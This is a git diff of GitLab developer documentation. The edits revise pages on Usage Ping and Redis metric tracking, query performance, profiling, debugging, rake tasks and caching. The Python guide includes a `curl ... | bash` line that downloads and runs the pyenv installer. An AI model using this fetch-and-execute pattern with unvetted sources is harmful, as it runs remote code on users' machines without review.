totals for a group of metrics. Ensure keys are in the same slot. For example: - `i_compliance_credential_inventory` with `redis_slot: 'compliance'` will build Redis key + `i_compliance_credential_inventory` with `redis_slot: 'compliance'` builds Redis key `i_{compliance}_credential_inventory-2020-34`. If `redis_slot` is not defined the Redis key will be `{i_compliance_credential_inventory}-2020-34`. - `expiry`: expiry time in days. Default: 29 days for daily aggregation and 6 weeks for weekly aggregation. - - `aggregation`: aggregation `:daily` or `:weekly`. The argument defines how we build the Redis - keys for data storage. For `daily` we keep a key for metric per day of the year, for `weekly` we - keep a key for metric per week of the year. + - `aggregation`: may be set to a `:daily` or `:weekly` key. Defines how counting data is stored in Redis. + Aggregation on a `daily` basis does not pull more fine grained data. - `feature_flag`: optional. For details, see our [GitLab internal Feature flags](../feature_flags/) documentation. 1. Track event in controller using `RedisTracking` module with `track_redis_hll_event(*controller_actions, name:, feature:, feature_default_enabled: false)`. @@ -384,6 +425,8 @@ Implemented using Redis methods [PFADD](https://redis.io/commands/pfadd) and [PF track_usage_event(:incident_management_incident_created, current_user.id) ``` +<!-- There's nearly identical content in `##### UsageData API Tracking`. If you find / fix errors here, you may need to fix errors in that section too. --> + 1. Track event using `UsageData` API Increment unique users count using Redis HLL, for given event name. @@ -392,7 +435,9 @@ Implemented using Redis methods [PFADD](https://redis.io/commands/pfadd) and [PF API requests are protected by checking for a valid CSRF token. - In order to be able to increment the values the related feature `usage_data<event_name>` should be enabled. + In order to increment the values, the related feature `usage_data_<event_name>` should be + set to `default_enabled: true`. For more information, see + [Feature flags in development of GitLab](../feature_flags/index.md). ```plaintext POST /usage_data/increment_unique_users @@ -415,7 +460,10 @@ Implemented using Redis methods [PFADD](https://redis.io/commands/pfadd) and [PF Example usage for an existing event already defined in [known events](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/known_events/): - Note that `usage_data_api` and `usage_data_#{event_name}` should be enabled in order to be able to track events + Usage Data API is behind `usage_data_api` feature flag which, as of GitLab 13.7, is + now set to `default_enabled: true`. + + Each event tracked using Usage Data API is behind a feature flag `usage_data_#{event_name}` which should be `default_enabled: true` ```javascript import api from '~/api'; @@ -464,21 +512,25 @@ Next, get the unique events for the current week. start_date: Date.current.beginning_of_week, end_date: Date.current.end_of_week) ``` -Recommendations: +##### Recommendations + +We have the following recommendations for [Adding new events](#adding-new-events): -- Key should expire in 29 days for daily and 42 days for weekly. -- If possible, data granularity should be a week. For example a key could be composed from the - metric's name and week of the year, `2020-33-{metric_name}`. -- Use a [feature flag](../../operations/feature_flags.md) to have a control over the impact when - adding new metrics. +- Event aggregation: weekly. +- Key expiry time: + - Daily: 29 days. + - Weekly: 42 days. +- When adding new metrics, use a [feature flag](../../operations/feature_flags.md) to control the impact. +- For feature flags triggered by another service, set `default_enabled: false`, + - Events can be triggered using the `UsageData` API, which helps when there are > 10 events per change ##### Enable/Disable Redis HLL tracking Events are tracked behind [feature flags](../feature_flags/index.md) due to concerns for Redis performance and scalability. -For a full list of events and coresponding feature flags see, [known_events](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/known_events/) files. +For a full list of events and corresponding feature flags see, [known_events](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/known_events/) files. -To enable or disable tracking for specific event within <https://gitlab.com> or <https://staging.gitlab.com>, run commands such as the following to +To enable or disable tracking for specific event within <https://gitlab.com> or <https://about.staging.gitlab.com>, run commands such as the following to [enable or disable the corresponding feature](../feature_flags/index.md). ```shell @@ -567,14 +619,14 @@ alt_usage_data(999) ### Prometheus Queries In those cases where operational metrics should be part of Usage Ping, a database or Redis query is unlikely -to provide useful data. Instead, Prometheus might be more appropriate, since most of GitLab's architectural +to provide useful data. Instead, Prometheus might be more appropriate, since most GitLab architectural components publish metrics to it that can be queried back, aggregated, and included as usage data. -NOTE: **Note:** +NOTE: Prometheus as a data source for Usage Ping is currently only available for single-node Omnibus installations that are running the [bundled Prometheus](../../administration/monitoring/prometheus/index.md) instance. -In order to query Prometheus for metrics, a helper method is available that will `yield` a fully configured +To query Prometheus for metrics, a helper method is available to `yield` a fully configured `PrometheusClient`, given it is available as per the note above: ```ruby @@ -613,7 +665,7 @@ Gitlab::UsageData.distinct_count(::Note.with_suggestions.where(time_period), :au ### 3. Generate the SQL query -Your Rails console will return the generated SQL queries. +Your Rails console returns the generated SQL queries. Example: @@ -631,7 +683,7 @@ Paste the SQL query into `#database-lab` to see how the query performs at scale. - `#database-lab` is a Slack channel which uses a production-sized environment to test your queries. - GitLab.com’s production database has a 15 second timeout. -- Any single query must stay below 1 second execution time with cold caches. +- Any single query must stay below [1 second execution time](../query_performance.md#timing-guidelines-for-queries) with cold caches. - Add a specialized index on columns involved to reduce the execution time. In order to have an understanding of the query's execution we add in the MR description the following information: @@ -654,7 +706,7 @@ We also use `#database-lab` and [explain.depesz.com](https://explain.depesz.com/ ### 5. Add the metric definition -When adding, changing, or updating metrics, please update the [Event Dictionary's **Usage Ping** table](https://about.gitlab.com/handbook/product/product-analytics-guide#event-dictionary). +When adding, changing, or updating metrics, please update the [Event Dictionary's **Usage Ping** table](https://about.gitlab.com/handbook/product/product-analytics-guide/#event-dictionary). ### 6. Add new metric to Versions Application @@ -670,7 +722,7 @@ Ensure you comply with the [Changelog entries guide](../changelog.md). ### 9. Ask for a Product Analytics Review -On GitLab.com, we have DangerBot setup to monitor Product Analytics related files and DangerBot will recommend a Product Analytics review. Mention `@gitlab-org/growth/product_analytics/engineers` in your MR for a review. +On GitLab.com, we have DangerBot setup to monitor Product Analytics related files and DangerBot recommends a Product Analytics review. Mention `@gitlab-org/growth/product_analytics/engineers` in your MR for a review. ### 10. Verify your metric @@ -696,10 +748,10 @@ This is the recommended approach to test Prometheus based Usage Ping. The easiest way to verify your changes is to build a new Omnibus image from your code branch via CI, then download the image and run a local container instance: -1. From your merge request, click on the `qa` stage, then trigger the `package-and-qa` job. This job will trigger an Omnibus +1. From your merge request, click on the `qa` stage, then trigger the `package-and-qa` job. This job triggers an Omnibus build in a [downstream pipeline of the `omnibus-gitlab-mirror` project](https://gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/-/pipelines). 1. In the downstream pipeline, wait for the `gitlab-docker` job to finish. -1. Open the job logs and locate the full container name including the version. It will take the following form: `registry.gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/gitlab-ee:<VERSION>`. +1. Open the job logs and locate the full container name including the version. It takes the following form: `registry.gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/gitlab-ee:<VERSION>`. 1. On your local machine, make sure you are logged in to the GitLab Docker registry. You can find the instructions for this in [Authenticate to the GitLab Container Registry](../../user/packages/container_registry/index.md#authenticate-with-the-container-registry). 1. Once logged in, download the new image via `docker pull registry.gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/gitlab-ee:<VERSION>` @@ -720,7 +772,7 @@ but with the following limitations: - While it runs a `node_exporter`, `docker-compose` services emulate hosts, meaning that it would normally report itself to not be associated with any of the other services that are running. That is not how node metrics are reported in a production setup, where `node_exporter` always runs as a process alongside other GitLab components on any given node. From Usage Ping's perspective none of the node data would therefore -appear to be associated to any of the services running, since they all appear to be running on different hosts. To alleviate this problem, the `node_exporter` in GCK was arbitrarily "assigned" to the `web` service, meaning only for this service `node_*` metrics will appear in Usage Ping. +appear to be associated to any of the services running, since they all appear to be running on different hosts. To alleviate this problem, the `node_exporter` in GCK was arbitrarily "assigned" to the `web` service, meaning only for this service `node_*` metrics appears in Usage Ping. ## Aggregated metrics @@ -728,19 +780,19 @@ appear to be associated to any of the services running, since they all appear to > - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default. > - It's enabled on GitLab.com. -CAUTION: **Warning:** +WARNING: This feature is intended solely for internal GitLab use. In order to add data for aggregated metrics into Usage Ping payload you should add corresponding definition into [`aggregated_metrics.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/aggregated_metrics.yml) file. Each aggregate definition includes following parts: -- name: unique name under which aggregate metric will be added to Usage Ping payload -- operator: operator that defines how aggregated metric data will be counted. Available operators are: +- name: unique name under which aggregate metric is added to Usage Ping payload +- operator: operator that defines how aggregated metric data is counted. Available operators are: - `OR`: removes duplicates and counts all entries that triggered any of listed events - `AND`: removes duplicates and counts all elements that were observed triggering all of following events - events: list of events names (from [`known_events.yml`](#known-events-in-usage-data-payload)) to aggregate into metric. All events in this list must have the same `redis_slot` and `aggregation` attributes. -- feature_flag: name of [development feature flag](../feature_flags/development.md#development-type) that will be checked before -metrics aggregation is performed. Corresponding feature flag should have `default_enabled` attribute set to `false`. -`feature_flag` attribute is **OPTIONAL** and can be omitted, when `feature_flag` is missing no feature flag will be checked. +- feature_flag: name of [development feature flag](../feature_flags/development.md#development-type) that is checked before +metrics aggregation is performed. Corresponding feature flag should have `default_enabled` attribute set to `false`. +`feature_flag` attribute is **OPTIONAL** and can be omitted, when `feature_flag` is missing no feature flag is checked. Example aggregated metric entries: @@ -754,7 +806,7 @@ Example aggregated metric entries: feature_flag: example_aggregated_metric ``` -Aggregated metrics will be added under `aggregated_metrics` key in both `counts_weekly` and `counts_monthly` top level keys in Usage Ping payload. +Aggregated metrics are added under `aggregated_metrics` key in both `counts_weekly` and `counts_monthly` top level keys in Usage Ping payload. ```ruby { @@ -857,44 +909,6 @@ The following is example content of the Usage Ping payload. "version": "9.6.15", "pg_system_id": 6842684531675334351 }, - "avg_cycle_analytics": { - "issue": { - "average": 999, - "sd": 999, - "missing": 999 - }, - "plan": { - "average": null, - "sd": 999, - "missing": 999 - }, - "code": { - "average": null, - "sd": 999, - "missing": 999 - }, - "test": { - "average": null, - "sd": 999, - "missing": 999 - }, - "review": { - "average": null, - "sd": 999, - "missing": 999 - }, - "staging": { - "average": null, - "sd": 999, - "missing": 999 - }, - "production": { - "average": null, - "sd": 999, - "missing": 999 - }, - "total": 999 - }, "analytics_unique_visits": { "g_analytics_contribution": 999, ... diff --git a/doc/development/profiling.md b/doc/development/profiling.md index 6e1b81e659d..76c89d361fc 100644 --- a/doc/development/profiling.md +++ b/doc/development/profiling.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Profiling @@ -24,7 +24,7 @@ When using the script, command-line documentation is available by passing no arguments. When using the method in an interactive console session, any changes to the -application code within that console session will be reflected in the profiler +application code within that console session is reflected in the profiler output. For example: @@ -37,14 +37,14 @@ Gitlab::Profiler.profile('/my-user') # Returns a RubyProf::Profile where 100 seconds is spent in UsersController#show ``` -For routes that require authorization you will need to provide a user to +For routes that require authorization you must provide a user to `Gitlab::Profiler`. You can do this like so: ```ruby Gitlab::Profiler.profile('/gitlab-org/gitlab-test', user: User.first) ``` -Passing a `logger:` keyword argument to `Gitlab::Profiler.profile` will send +Passing a `logger:` keyword argument to `Gitlab::Profiler.profile` sends ActiveRecord and ActionController log output to that logger. Further options are documented with the method source. @@ -123,7 +123,7 @@ starting GitLab. For example: ENABLE_BULLET=true bundle exec rails s ``` -Bullet will log query problems to both the Rails log as well as the Chrome +Bullet logs query problems to both the Rails log as well as the Chrome console. As a follow up to finding `N+1` queries with Bullet, consider writing a [QueryRecoder test](query_recorder.md) to prevent a regression. diff --git a/doc/development/projections.md b/doc/development/projections.md index b8f476c53e9..e62f13981c9 100644 --- a/doc/development/projections.md +++ b/doc/development/projections.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Projections diff --git a/doc/development/prometheus.md b/doc/development/prometheus.md index fc1f2303d0a..62f30871f54 100644 --- a/doc/development/prometheus.md +++ b/doc/development/prometheus.md @@ -3,3 +3,6 @@ redirect_to: '../user/project/integrations/prometheus.md' --- This document was moved to [another location](../user/project/integrations/prometheus.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/prometheus_metrics.md b/doc/development/prometheus_metrics.md index 8fcc025b35b..df13cb7d56c 100644 --- a/doc/development/prometheus_metrics.md +++ b/doc/development/prometheus_metrics.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Working with Prometheus Metrics @@ -31,7 +31,7 @@ The requirement for adding a new metric is to make each query to have an unique ### Update existing metrics -After you add or change an existing common metric, you must [re-run the import script](../administration/raketasks/maintenance.md#import-common-metrics) that will query and update all existing metrics. +After you add or change an existing common metric, you must [re-run the import script](../administration/raketasks/maintenance.md#import-common-metrics) that queries and updates all existing metrics. Or, you can create a database migration: @@ -51,7 +51,7 @@ class ImportCommonMetrics < ActiveRecord::Migration[4.2] end ``` -If a query metric (which is identified by `id:`) is removed it will not be removed from database by default. +If a query metric (which is identified by `id:`) is removed, it isn't removed from database by default. You might want to add additional database migration that makes a decision what to do with removed one. For example: you might be interested in migrating all dependent data to a different metric. @@ -75,5 +75,5 @@ This section describes how to add new metrics for self-monitoring 1. Select the appropriate name for your metric. Refer to the guidelines for [Prometheus metric names](https://prometheus.io/docs/practices/naming/#metric-names). 1. Update the list of [GitLab Prometheus metrics](../administration/monitoring/prometheus/gitlab_metrics.md). -1. Trigger the relevant page/code that will record the new metric. +1. Trigger the relevant page or code that records the new metric. 1. Check that the new metric appears at `/-/metrics`. diff --git a/doc/development/pry_debugging.md b/doc/development/pry_debugging.md index 7f9a49d4d50..f29e0d403cd 100644 --- a/doc/development/pry_debugging.md +++ b/doc/development/pry_debugging.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Pry debugging @@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w ## Invoking pry debugging To invoke the debugger, place `binding.pry` somewhere in your -code. When the Ruby interpreter hits that code, execution will stop, +code. When the Ruby interpreter hits that code, execution stops, and you can type in commands to debug the state of the program ## `byebug` vs `binding.pry` @@ -20,7 +20,7 @@ use the powerful Pry REPL. `binding.pry` uses Pry, but lacks some of the `byebug` features. GitLab uses the [`pry-byebug`](https://github.com/deivid-rodriguez/pry-byebug) gem. This gem brings some capabilities `byebug` to `binding.pry`, so -using that, will give you the most debugging powers. +using that gives you the most debugging powers. ## `byebug` @@ -104,7 +104,7 @@ You also can move around in the callstack with these commands: - `down`: Moves the stack frame down. Takes an optional numeric argument to move multiple frames. - `frame <n>`: Moves to a specific frame. Called without arguments - will show the current frame. + displays the current frame. ## Short commands diff --git a/doc/development/python_guide/index.md b/doc/development/python_guide/index.md index 22a01c3b877..3291b6c31a9 100644 --- a/doc/development/python_guide/index.md +++ b/doc/development/python_guide/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Python Development Guidelines @@ -30,16 +30,16 @@ brew install pyenv To install `pyenv` on Linux, you can run the command below: ```shell -curl https://pyenv.run | bash +curl "https://pyenv.run" | bash ``` -Alternatively, you may find `pyenv` available as a system package via your distro package manager. +Alternatively, you may find `pyenv` available as a system package via your distribution's package manager. You can read more about it in: <https://github.com/pyenv/pyenv-installer#prerequisites>. ### Shell integration -Pyenv installation will add required changes to Bash. If you use a different shell, +Pyenv installation adds required changes to Bash. If you use a different shell, check for any additional steps required for it. For Fish, you can install a plugin for [Fisher](https://github.com/jorgebucaran/fisher): @@ -63,13 +63,13 @@ on the main project level, so we can run that on our development machines. Recently, an equivalent to the `Gemfile` and the [Bundler](https://bundler.io/) project has been introduced to Python: `Pipfile` and [Pipenv](https://pipenv.readthedocs.io/en/latest/). -You will now find a `Pipfile` with the dependencies in the root folder. To install them, run: +A `Pipfile` with the dependencies now exists in the root folder. To install them, run: ```shell pipenv install ``` -Running this command will install both the required Python version as well as required pip dependencies. +Running this command installs both the required Python version as well as required pip dependencies. ## Use instructions @@ -80,5 +80,5 @@ of the application. With Pipenv, this is a simple as running: pipenv shell ``` -After running that command, you can run GitLab on the same shell and it will be using the Python and dependencies +After running that command, you can run GitLab on the same shell and it uses the Python and dependencies installed from the `pipenv install` command. diff --git a/doc/development/query_count_limits.md b/doc/development/query_count_limits.md index 07dcb6c7d90..a9569fee8cc 100644 --- a/doc/development/query_count_limits.md +++ b/doc/development/query_count_limits.md @@ -1,13 +1,13 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Query Count Limits Each controller or API endpoint is allowed to execute up to 100 SQL queries and -in test environments we'll raise an error when this threshold is exceeded. +in test environments we raise an error when this threshold is exceeded. ## Solving Failing Tests @@ -20,18 +20,18 @@ solutions to this problem: You should only resort to whitelisting when an existing controller or endpoint is to blame as in this case reducing the number of SQL queries can take a lot of effort. Newly added controllers and endpoints are not allowed to execute more -than 100 SQL queries and no exceptions will be made for this rule. _If_ a large +than 100 SQL queries and no exceptions are made for this rule. _If_ a large number of SQL queries is necessary to perform certain work it's best to have this work performed by Sidekiq instead of doing this directly in a web request. ## Whitelisting -In the event that you _have_ to whitelist a controller you'll first need to +In the event that you _have_ to whitelist a controller you must first create an issue. This issue should (preferably in the title) mention the controller or endpoint and include the appropriate labels (`database`, `performance`, and at least a team specific label such as `Discussion`). -Once the issue has been created you can whitelist the code in question. For +After the issue has been created you can whitelist the code in question. For Rails controllers it's best to create a `before_action` hook that runs as early as possible. The called method in turn should call `Gitlab::QueryLimiting.whitelist('issue URL here')`. For example: diff --git a/doc/development/query_performance.md b/doc/development/query_performance.md new file mode 100644 index 00000000000..c61d2a0864f --- /dev/null +++ b/doc/development/query_performance.md @@ -0,0 +1,74 @@ +--- +stage: Enablement +group: Database +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Query performance guidelines + +This document describes various guidelines to follow when optimizing SQL queries. + +When you are optimizing your SQL queries, there are two dimensions to pay attention to: + +1. The query execution time. This is paramount as it reflects how the user experiences GitLab. +1. The query plan. Optimizing the query plan is important in allowing queries to independently scale over time. Realizing that an index will keep a query performing well as the table grows before the query degrades is an example of why we analyze these plans. + +## Timing guidelines for queries + +| Query Type | Maximum Query Time | Notes | +|----|----|---| +| General queries | `100ms` | This is not a hard limit, but if a query is getting above it, it is important to spend time understanding why it can or cannot be optimized. | +| Queries in a migration | `100ms` | This is different than the total [migration time](database_review.md#timing-guidelines-for-migrations). | +| Concurrent operations in a migration | `5min` | Concurrent operations do not block the database, but they block the GitLab update. This includes operations such as `add_concurrent_index` and `add_concurrent_foreign_key`. | +| Background migrations | `1s` | | +| Usage Ping | `1s` | See the [usage ping docs](product_analytics/usage_ping.md#developing-and-testing-usage-ping) for more details. | + +- When analyzing your query's performance, pay attention to if the time you are seeing is on a [cold or warm cache](#cold-and-warm-cache). These guidelines apply for both cache types. +- When working with batched queries, change the range and batch size to see how it effects the query timing and caching. +- If an existing query is already underperforming, make an effort to improve it. If it is too complex or would stall development, create a follow-up so it can be addressed in a timely manner. You can always ask the database reviewer or maintainer for help and guidance. + +## Cold and warm cache + +When evaluating query performance it is important to understand the difference between +cold and warm cached queries. + +The first time a query is made, it is made on a "cold cache". Meaning it needs +to read from disk. If you run the query again, the data can be read from the +cache, or what PostgreSQL calls shared buffers. This is the "warm cache" query. + +When analyzing an [`EXPLAIN` plan](understanding_explain_plans.md), you can see +the difference not only in the timing, but by looking at the output for `Buffers` +by running your explain with `EXPLAIN(analyze, buffers)`. The [#database-lab](understanding_explain_plans.md#database-lab) +tool will automatically include these options. + +If you are making a warm cache query, you will only see the `shared hits`. + +For example in #database-lab: + +```plaintext +Shared buffers: + - hits: 36467 (~284.90 MiB) from the buffer pool + - reads: 0 from the OS file cache, including disk I/O +``` + +Or in the explain plan from `psql`: + +```sql +Buffers: shared hit=7323 +``` + +If the cache is cold, you will also see `reads`. + +In #database-lab: + +```plaintext +Shared buffers: + - hits: 17204 (~134.40 MiB) from the buffer pool + - reads: 15229 (~119.00 MiB) from the OS file cache, including disk I/O +``` + +In `psql`: + +```sql +Buffers: shared hit=7202 read=121 +``` diff --git a/doc/development/query_recorder.md b/doc/development/query_recorder.md index 4a02af3348c..3cc7b140e89 100644 --- a/doc/development/query_recorder.md +++ b/doc/development/query_recorder.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # QueryRecorder @@ -10,7 +10,7 @@ QueryRecorder is a tool for detecting the [N+1 queries problem](https://guides.r > Implemented in [spec/support/query_recorder.rb](https://gitlab.com/gitlab-org/gitlab/blob/master/spec/support/helpers/query_recorder.rb) via [9c623e3e](https://gitlab.com/gitlab-org/gitlab-foss/commit/9c623e3e5d7434f2e30f7c389d13e5af4ede770a) -As a rule, merge requests [should not increase query counts](merge_request_performance_guidelines.md#query-counts). If you find yourself adding something like `.includes(:author, :assignee)` to avoid having `N+1` queries, consider using QueryRecorder to enforce this with a test. Without this, a new feature which causes an additional model to be accessed will silently reintroduce the problem. +As a rule, merge requests [should not increase query counts](merge_request_performance_guidelines.md#query-counts). If you find yourself adding something like `.includes(:author, :assignee)` to avoid having `N+1` queries, consider using QueryRecorder to enforce this with a test. Without this, a new feature which causes an additional model to be accessed can silently reintroduce the problem. ## How it works @@ -30,7 +30,7 @@ In some cases the query count might change slightly between runs for unrelated r ## Cached queries -By default, QueryRecorder will ignore [cached queries](merge_request_performance_guidelines.md#cached-queries) in the count. However, it may be better to count +By default, QueryRecorder ignores [cached queries](merge_request_performance_guidelines.md#cached-queries) in the count. However, it may be better to count all queries to avoid introducing an N+1 query that may be masked by the statement cache. To do this, this requires the `:use_sql_query_cache` flag to be set. You should pass the `skip_cached` variable to `QueryRecorder` and use the `exceed_all_query_limit` matcher: @@ -73,7 +73,7 @@ There are multiple ways to find the source of queries. - View the call backtrace for the specific `QueryRecorder` instance you want by using `ActiveRecord::QueryRecorder.new(query_recorder_debug: true)`. The output - will be in `test.log` + is stored in file `test.log`. - Enable the call backtrace for all tests using the `QUERY_RECORDER_DEBUG` environment variable. @@ -83,7 +83,7 @@ There are multiple ways to find the source of queries. QUERY_RECORDER_DEBUG=1 bundle exec rspec spec/requests/api/projects_spec.rb ``` - This will log calls to QueryRecorder into the `test.log` file. For example: + This logs calls to QueryRecorder into the `test.log` file. For example: ```sql QueryRecorder SQL: SELECT COUNT(*) FROM "issues" WHERE "issues"."deleted_at" IS NULL AND "issues"."project_id" = $1 AND ("issues"."state" IN ('opened')) AND "issues"."confidential" = $2 diff --git a/doc/development/rails_initializers.md b/doc/development/rails_initializers.md index bc0ac963f3f..89902c81cd5 100644 --- a/doc/development/rails_initializers.md +++ b/doc/development/rails_initializers.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Rails initializers diff --git a/doc/development/rake_tasks.md b/doc/development/rake_tasks.md index 2dca747425c..09e8f780fe1 100644 --- a/doc/development/rake_tasks.md +++ b/doc/development/rake_tasks.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Rake tasks for developers @@ -61,7 +61,7 @@ bin/rake "gitlab:seed:insights:issues[group-path/project-path]" ``` By default, this seeds an average of 10 issues per week for the last 52 weeks -per project. All issues will also be randomly labeled with team, type, severity, +per project. All issues are also randomly labeled with team, type, severity, and priority. #### Seeding groups with sub-groups @@ -116,8 +116,8 @@ so no worries about missing errors. There are a few environment flags you can pass to change how projects are seeded - `SIZE`: defaults to `8`, max: `32`. Amount of projects to create. -- `LARGE_PROJECTS`: defaults to false. If set will clone 6 large projects to help with testing. -- `FORK`: defaults to false. If set to `true` will fork `torvalds/linux` five times. Can also be set to an existing project full_path and it will fork that instead. +- `LARGE_PROJECTS`: defaults to false. If set, clones 6 large projects to help with testing. +- `FORK`: defaults to false. If set to `true`, forks `torvalds/linux` five times. Can also be set to an existing project `full_path` to fork that instead. ## Run tests @@ -132,10 +132,10 @@ In order to run the test you can use the following commands: `bin/rake spec` takes significant time to pass. Instead of running the full test suite locally, you can save a lot of time by running a single test or directory related to your changes. After you submit a merge request, -CI will run full test suite for you. Green CI status in the merge request means +CI runs full test suite for you. Green CI status in the merge request means full test suite is passed. -You can't run `rspec .` since this will try to run all the `_spec.rb` +You can't run `rspec .` since this tries to run all the `_spec.rb` files it can find, also the ones in `/tmp` You can pass RSpec command line options to the `spec:unit`, @@ -157,7 +157,7 @@ To run several tests inside one directory: speeds up development by keeping your application running in the background so you don't need to boot it every time you run a test, Rake task or migration. -If you want to use it, you'll need to export the `ENABLE_SPRING` environment +If you want to use it, you must export the `ENABLE_SPRING` environment variable to `1`: ```shell @@ -180,7 +180,7 @@ environment you can do so with the following command: RAILS_ENV=production NODE_ENV=production bundle exec rake gitlab:assets:compile ``` -This will compile and minify all JavaScript and CSS assets and copy them along +This compiles and minifies all JavaScript and CSS assets and copy them along with all other frontend assets (images, fonts, etc) into `/public/assets` where they can be easily inspected. @@ -200,7 +200,7 @@ following: bundle exec rake gemojione:digests ``` -This will update the file `fixtures/emojis/digests.json` based on the currently +This updates the file `fixtures/emojis/digests.json` based on the currently available Emoji. To generate a sprite file containing all the Emoji, run: @@ -276,8 +276,13 @@ In its current state, the Rake task: This uses some features from `graphql-docs` gem like its schema parser and helper methods. The docs generator code comes from our side giving us more flexibility, like using Haml templates and generating Markdown files. -To edit the template used, please take a look at `lib/gitlab/graphql/docs/templates/default.md.haml`. -The actual renderer is at `Gitlab::Graphql::Docs::Renderer`. +To edit the content, you may need to edit the following: + +- The template. You can edit the template at `lib/gitlab/graphql/docs/templates/default.md.haml`. + The actual renderer is at `Gitlab::Graphql::Docs::Renderer`. +- The applicable `description` field in the code, which + [Updates machine-readable schema files](#update-machine-readable-schema-files), + which is then used by the `rake` task described earlier. `@parsed_schema` is an instance variable that the `graphql-docs` gem expects to have available. `Gitlab::Graphql::Docs::Helper` defines the `object` method we currently use. This is also where you diff --git a/doc/development/reactive_caching.md b/doc/development/reactive_caching.md index 106a9b5de31..5d514ffbfc9 100644 --- a/doc/development/reactive_caching.md +++ b/doc/development/reactive_caching.md @@ -1,17 +1,17 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # `ReactiveCaching` > This doc refers to <https://gitlab.com/gitlab-org/gitlab/blob/master/app/models/concerns/reactive_caching.rb>. -The `ReactiveCaching` concern is used for fetching some data in the background and store it +The `ReactiveCaching` concern is used for fetching some data in the background and storing it in the Rails cache, keeping it up-to-date for as long as it is being requested. If the -data hasn't been requested for `reactive_cache_lifetime`, it will stop being refreshed, -and then be removed. +data hasn't been requested for `reactive_cache_lifetime`, it stops being refreshed, +and is removed. ## Examples @@ -35,38 +35,40 @@ class Foo < ApplicationRecord end ``` -In this example, the first time `#result` is called, it will return `nil`. However, -it will enqueue a background worker to call `#calculate_reactive_cache` and set an -initial cache lifetime of 10 min. +In this example, the first time `#result` is called, it returns `nil`. However, +it enqueues a background worker to call `#calculate_reactive_cache` and set an +initial cache lifetime of 10 minutes. ## How it works The first time `#with_reactive_cache` is called, a background job is enqueued and `with_reactive_cache` returns `nil`. The background job calls `#calculate_reactive_cache` and stores its return value. It also re-enqueues the background job to run again after -`reactive_cache_refresh_interval`. Therefore, it will keep the stored value up to date. +`reactive_cache_refresh_interval`. Therefore, it keeps the stored value up to date. Calculations never run concurrently. -Calling `#with_reactive_cache` while a value is cached will call the block given to -`#with_reactive_cache`, yielding the cached value. It will also extend the lifetime +Calling `#with_reactive_cache` while a value is cached calls the block given to +`#with_reactive_cache`, yielding the cached value. It also extends the lifetime of the cache by the `reactive_cache_lifetime` value. -Once the lifetime has expired, no more background jobs will be enqueued and calling -`#with_reactive_cache` will again return `nil` - starting the process all over 